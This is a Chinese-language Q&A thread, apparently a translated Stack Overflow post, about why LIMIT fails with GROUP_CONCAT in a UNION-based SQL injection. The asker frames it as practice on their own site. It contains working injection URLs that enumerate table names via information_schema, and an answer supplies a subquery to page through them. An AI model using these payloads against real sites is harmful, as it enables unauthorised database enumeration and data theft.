2016-08-15 27 views
0

因此,我有一個Web服務器,我在自己的網站上練習SQLi以獲得個人知識,我似乎無法弄清楚這一部分。SQL無法限制與group_concat一起工作

到目前爲止,我發現了表名通過轉到下面的網址

http://www.WEBSITE.com/about.php?id=-5+union+select+1,group_concat(table_name),3,4,5,6,7+FROM+information_schema.tables+WHERE+table_schema=database()--

除此之外,從我的理解,group_concat()只拿出最多1024個字符。

所以我看了網上,並試圖把LIMIT,我沒有工作。如果沒有限制,我可以看到20桌的名和表21的一半的名字所以我把

http://www.WEBSITE.com/about.php?id=-5+union+select+1,group_concat(table_name),3,4,5,6,7+FROM+information_schema.tables+WHERE+table_schema=database()+LIMIT+21,1--

再沒有表加載。有任何想法嗎?

+0

你想做什麼?限制'group_concat'的_length_?如果是這樣,你不能使用LIMIT來限制它的長度,這是一個結果集限制,但是你可以截斷'group_concat'結果或者查看設置[group_concat_max_len](http://dev.mysql.com/doc/refman /5.7/en/group-by-functions.html#function_group-concat) –

回答

0

LIMIT應用分組,以分組結果。也就是說,在包含GROUP BY子句並因此導致多個組的查詢中,LIMIT 5會將結果集限制爲這些組中的前5個 - 它不會以任何方式影響/限制構成每個組的記錄數。

沒有什麼是你加載的原因是因爲LIMIT 21,1意味着你只需要一個記錄從21的偏移量開始,並且自從(分組後)可能沒有那麼多組,你會得到一個空的結果集。

你可以使用子查詢,而不是獲取表名,限值,並然後組:

SELECT GROUP_CONCAT(TABLE_NAME) FROM (
    SELECT TABLE_NAME 
    FROM INFORMATION_SCHEMA.TABLES 
    WHERE TABLE_SCHEMA = DATABASE() 
    LIMIT 1, 21 
) t 

然而,由於UNION是爲你工作,似乎你能夠瀏覽多個結果 - 在這種情況下,爲什麼集團呢?

+0

好吧,我顯然沒有結束這樣做的權利,因爲查詢並沒有結束工作,當我將你給我的東西換成我原來的東西時'-5'後面有' – Dgameman1

+0

@ ILovephp123:您之前添加了其他(虛擬)列來對齊'UNION'。 – eggyal

相關問題